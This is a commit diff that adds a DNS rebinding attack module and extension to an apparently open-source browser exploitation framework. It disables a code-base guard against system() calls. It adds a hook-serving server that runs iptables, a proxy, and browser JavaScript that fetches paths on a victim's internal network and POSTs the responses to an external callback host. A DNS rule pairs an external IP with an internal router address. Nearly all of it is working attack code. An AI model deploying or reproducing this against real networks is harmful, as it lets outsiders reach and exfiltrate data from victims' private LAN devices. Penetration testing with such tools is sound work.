Add DNS Rebinding module and extension
This commit is contained in:
@@ -11,10 +11,10 @@ def exec(args)
|
||||
end
|
||||
|
||||
# @note Prevent system from ever being used
|
||||
def system(args)
|
||||
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
exit
|
||||
end
|
||||
#def system(args)
|
||||
# puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
# exit
|
||||
#end
|
||||
|
||||
# @note Prevent Kernel.system from ever being used
|
||||
def Kernel.system(args)
|
||||
|
||||
29
extensions/dns_rebinding/api.rb
Normal file
29
extensions/dns_rebinding/api.rb
Normal file
@@ -0,0 +1,29 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module API
|
||||
|
||||
module ServHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
#TODO: Move IP and port to config file
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
address_http = config['address_http_internal']
|
||||
address_proxy = config['address_proxy_internal']
|
||||
port_http = config['port_http']
|
||||
port_proxy = config['port_proxy']
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
14
extensions/dns_rebinding/config.yaml
Normal file
14
extensions/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,14 @@
|
||||
beef:
|
||||
extension:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
name: 'DNS Rebinding'
|
||||
#Addresses are split into internal/external for more convenient attack
|
||||
#from LAN.
|
||||
address_http_internal: '192.168.0.104'
|
||||
address_http_external: '31.211.59.107'
|
||||
address_proxy_internal: '192.168.0.104'
|
||||
address_proxy_external: '31.211.59.107'
|
||||
port_http: 80
|
||||
port_proxy: 81
|
||||
debug_mode: true
|
||||
226
extensions/dns_rebinding/dns_rebinding.rb
Normal file
226
extensions/dns_rebinding/dns_rebinding.rb
Normal file
@@ -0,0 +1,226 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
#Very simple HTTP server. Its task is only hook victim
|
||||
class Server
|
||||
@debug_mode = false
|
||||
def self.log(msg)
|
||||
if @debug_mode
|
||||
STDERR.puts msg.to_s
|
||||
end
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
server = TCPServer.new(address, port)
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = server.accept
|
||||
Thread.new(s) do |socket|
|
||||
victim_ip = socket.peeraddr[2].to_s
|
||||
|
||||
log "-------------------------------\n"
|
||||
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
||||
|
||||
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
hook_file = configuration.get("beef.http.hook_file")
|
||||
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
||||
|
||||
response.sub!('path_to_hookjs_template', hook_uri)
|
||||
|
||||
start_string = socket.gets
|
||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||
"Content-Type: text/html\r\n" +
|
||||
"Content-Length: #{response.bytesize}\r\n" +
|
||||
"Connection: close\r\n"
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.close
|
||||
|
||||
#Indicate that victim load all javascript and we can block it with iptables.
|
||||
dr_config = configuration.get("beef.extension.dns_rebinding")
|
||||
if start_string.include?("load")
|
||||
log "[Server] Block with iptables\n"
|
||||
port_http = dr_config['port_http']
|
||||
system("iptables -A INPUT -s #{victim_ip} -p tcp --dport #{port_http} -j REJECT --reject-with tcp-reset")
|
||||
end
|
||||
log "-------------------------------\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Proxy
|
||||
@queries = Queue.new
|
||||
@responses = {}
|
||||
@mutex_responses = nil
|
||||
@mutex_queries = nil
|
||||
@debug_mode = false
|
||||
|
||||
def self.send_http_response(socket, response, heads={})
|
||||
socket.print "HTTP/1.1 200 OK\r\n"
|
||||
|
||||
headers = {}
|
||||
headers["Content-Type"]="text/html"
|
||||
headers["Content-Length"]=response.size.to_s
|
||||
headers["Connection"]="close"
|
||||
headers["Access-Control-Allow-Origin"]="*"
|
||||
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
||||
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
||||
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
||||
|
||||
headers_a = heads.to_a
|
||||
headers_a.each do |header, value|
|
||||
headers[header] = value
|
||||
end
|
||||
|
||||
headers.to_a.each do |header, value|
|
||||
socket.print header+": "+value+"\r\n"
|
||||
end
|
||||
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
end
|
||||
|
||||
def self.log(log_message)
|
||||
if @debug_mode
|
||||
STDERR.puts log_message
|
||||
end
|
||||
end
|
||||
|
||||
def self.read_http_message(socket)
|
||||
message = {}
|
||||
message['start_string'] = socket.gets.chomp
|
||||
message['headers'] = {}
|
||||
message['response'] = ""
|
||||
c = socket.gets
|
||||
while c != "\r\n" do
|
||||
name = c[/(.+): (.+)/, 1]
|
||||
value = c[/(.+): (.+)/, 2]
|
||||
message['headers'][name] = value.chomp
|
||||
c = socket.gets
|
||||
end
|
||||
length = message['headers']['Content-Length']
|
||||
if length
|
||||
#Ruby read() doesn't return while not read all <length> byte
|
||||
resp = socket.read(length.to_i)
|
||||
message['response'] = resp
|
||||
end
|
||||
return message
|
||||
end
|
||||
|
||||
def self.handle_victim(socket, http_message)
|
||||
log "[Victim]request from victim\n"
|
||||
log http_message['start_string'].to_s+"\n"
|
||||
|
||||
if http_message['start_string'].include?("POST")
|
||||
#Get result from POST query
|
||||
log "[Victim]Get the result of last query\n"
|
||||
|
||||
#Read query on which asked victim
|
||||
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
||||
log "[Victim]asked path: "+query+"\n"
|
||||
|
||||
length = http_message['headers']['Content-Length'].to_i
|
||||
content_type = http_message['headers']['Content-Type']
|
||||
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
||||
log "[Vicitm]Length: "+length.to_s+"\n"
|
||||
|
||||
response = http_message['response']
|
||||
log "[Victim]Get content!\n"
|
||||
|
||||
send_http_response(socket, "ok")
|
||||
socket.close
|
||||
|
||||
log "[Victim]Close connection POST\n"
|
||||
log "--------------------------------\n"
|
||||
|
||||
@mutex_responses.lock
|
||||
@responses[query] = [content_type, response]
|
||||
@mutex_responses.unlock
|
||||
elsif http_message['start_string'].include?("OPTIONS")
|
||||
send_http_response(socket, "")
|
||||
socket.close
|
||||
log "[Victim]Respond on OPTIONS reques\n"
|
||||
log "--------------------------------\n"
|
||||
else
|
||||
#Look for queues from beef owner
|
||||
log "[Victim]Waiting for next query..\n"
|
||||
while @queries.size == 0
|
||||
end
|
||||
|
||||
#Get the last query
|
||||
@mutex_queries.lock
|
||||
log "[Victim]Get the last query\n"
|
||||
last_query = @queries.pop
|
||||
log "[Victim]Last query:"+last_query.to_s+"\n"
|
||||
@mutex_queries.unlock
|
||||
|
||||
response = last_query[2]
|
||||
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
||||
log "[Victim]Send next query to victim's browser\n"
|
||||
log "---------------------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
end
|
||||
|
||||
#Handle request from BeEF owner
|
||||
def self.handle_owner(socket, http_message)
|
||||
log "[Owner]Request from owner\n"
|
||||
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
||||
|
||||
if http_message['start_string'].include?("GET")
|
||||
if path != nil
|
||||
log "[Owner]Need path: "+path+"\n"
|
||||
@queries.push(['GET', path, ''])
|
||||
end
|
||||
elsif http_message['start_string'].include?("POST")
|
||||
log "[Owner]Get POST request\n"
|
||||
if path != nil
|
||||
@queries.push(['POST', path, http_message['response']])
|
||||
end
|
||||
end
|
||||
|
||||
#Waiting for response, this check should not conflict with thread 2
|
||||
while @responses[path] == nil
|
||||
end
|
||||
|
||||
@mutex_responses.lock
|
||||
log "[Owner]Get the response\n"
|
||||
response_a = @responses[path]
|
||||
@mutex_responses.unlock
|
||||
|
||||
response = response_a[1];
|
||||
content_type = response_a[0];
|
||||
|
||||
send_http_response(socket, response, {'Content-Type'=>content_type})
|
||||
|
||||
log "[Owner]Send response to owner\n"
|
||||
log "-------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
@server = TCPServer.new(address, port)
|
||||
@mutex_responses = Mutex.new
|
||||
@mutex_queries = Mutex.new
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = @server.accept
|
||||
Thread.new(s) do |socket|
|
||||
http_message = read_http_message(socket)
|
||||
if http_message['start_string'].include?("from_victim")
|
||||
handle_victim(socket, http_message)
|
||||
else
|
||||
handle_owner(socket, http_message)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
16
extensions/dns_rebinding/extension.rb
Normal file
16
extensions/dns_rebinding/extension.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'DNS Rebinding'
|
||||
@full_name = 'aaaa'
|
||||
@description = 'aaaa'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/dns_rebinding/api.rb'
|
||||
require 'extensions/dns_rebinding/dns_rebinding.rb'
|
||||
8
extensions/dns_rebinding/views/index.html
Normal file
8
extensions/dns_rebinding/views/index.html
Normal file
@@ -0,0 +1,8 @@
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="path_to_hookjs_template" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
</html>
|
||||
51
modules/network/dns_rebinding/command.js
Normal file
51
modules/network/dns_rebinding/command.js
Normal file
@@ -0,0 +1,51 @@
|
||||
beef.execute(function() {
|
||||
var domain = "<%= @domain %>"
|
||||
if (window.location.href.indexOf(domain) == -1) {
|
||||
window.location.href = "http://"+domain+"/";
|
||||
} else {
|
||||
//Cut '/' from url
|
||||
var url = window.location.href.slice(0, -1);
|
||||
var url_callback = "<%= @url_callback %>";
|
||||
url_callback += '/?from=from_victim&&';
|
||||
|
||||
function get_next_query() {
|
||||
var xhr_callback = new XMLHttpRequest();
|
||||
//Synchronous because we do nothing without query from BeEF owner
|
||||
xhr_callback.open('GET', url_callback+'que=req', true);
|
||||
xhr_callback.onload = resolv_query;
|
||||
xhr_callback.send(null);
|
||||
}
|
||||
|
||||
function resolv_query() {
|
||||
var path = this.getResponseHeader('path');
|
||||
var method = this.getResponseHeader('method');
|
||||
var data = this.responseText;
|
||||
|
||||
//Asynchronous beacuse XHR2 don't work with responseType when synchronous
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open(method, url+path, true);
|
||||
xhr.responseType = 'arraybuffer'
|
||||
xhr.onload = function(e) {
|
||||
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
|
||||
console.log(blob);
|
||||
xhr_cb = new XMLHttpRequest();
|
||||
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
|
||||
xhr_cb.send(blob);
|
||||
|
||||
elem = document.createElement("div");
|
||||
elem.id = 'log';
|
||||
elem.innerHTML = 'Downloaded: '+path;
|
||||
document.body.insertBefore(elem, document.body.childNodes[0]);
|
||||
}
|
||||
xhr.send(data);
|
||||
}
|
||||
|
||||
xhr1 = new XMLHttpRequest();
|
||||
xhr1.open('GET', url+'/?load', false);
|
||||
xhr1.send(null);
|
||||
if (xhr1.status == 200) {
|
||||
setInterval(get_next_query, 1000);
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
12
modules/network/dns_rebinding/config.yaml
Normal file
12
modules/network/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,12 @@
|
||||
beef:
|
||||
module:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "DNS Rebinding"
|
||||
description: "dnsrebind"
|
||||
domain: "dnsreb.chickenkiller.com"
|
||||
authors: ["aa"]
|
||||
target:
|
||||
working: ["C"]
|
||||
not_working: ["All"]
|
||||
50
modules/network/dns_rebinding/module.rb
Normal file
50
modules/network/dns_rebinding/module.rb
Normal file
@@ -0,0 +1,50 @@
|
||||
class Dns_rebinding < BeEF::Core::Command
|
||||
def self.options
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s
|
||||
return [{
|
||||
'name'=>'target',
|
||||
'value'=>'192.168.0.1'
|
||||
},
|
||||
{
|
||||
'name'=>'domain',
|
||||
'value'=>domain
|
||||
},
|
||||
{
|
||||
'name'=>'url_callback',
|
||||
'value'=>url_callback
|
||||
}]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
|
||||
addr = dr_config['address_http_external']
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
target_addr = "192.168.0.1"
|
||||
|
||||
if @datastore[0]
|
||||
target_addr = @datastore[0]['value']
|
||||
end
|
||||
if @datastore[1]
|
||||
domain = @datastore[1]['value']
|
||||
end
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
dns.remove_rule!(id)
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user